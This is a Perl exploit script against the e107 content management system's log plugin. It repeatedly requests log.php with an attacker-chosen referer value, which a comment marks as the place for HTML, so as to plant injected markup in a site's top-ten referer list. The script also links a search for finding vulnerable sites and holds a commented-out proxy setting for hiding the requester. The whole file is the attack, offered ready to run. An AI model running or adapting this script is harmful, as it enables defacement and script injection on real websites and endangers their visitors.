#!/usr/bin/perl -w

# oneoseven.pl - by dual
# http://packetstormsecurity.nl/0405-advisories/e107flaw.txt
# usage: perl oneoseven.pl <host> <# to get into top 10>

use strict;
use LWP::UserAgent;

# http://www.google.com/search?hl=en&ie=UTF-8&q=e107_plugins&btnG=Google+Search
my $host = shift;

# html goes here
$host .= '/e107_plugins/log/log.php?referer=test';

my $cnt = 0;
my $max = shift;

my $ua = LWP::UserAgent->new;

#$ua->agent('Oneoseven/1.07');
#$ua->proxy('http', 'http://proxyiphere:port');

while ($cnt < $max) {
	my $req = HTTP::Request->new('GET', $host);
	my $res = $ua->request($req, '/dev/null');
	sleep 1;
	$cnt++;
}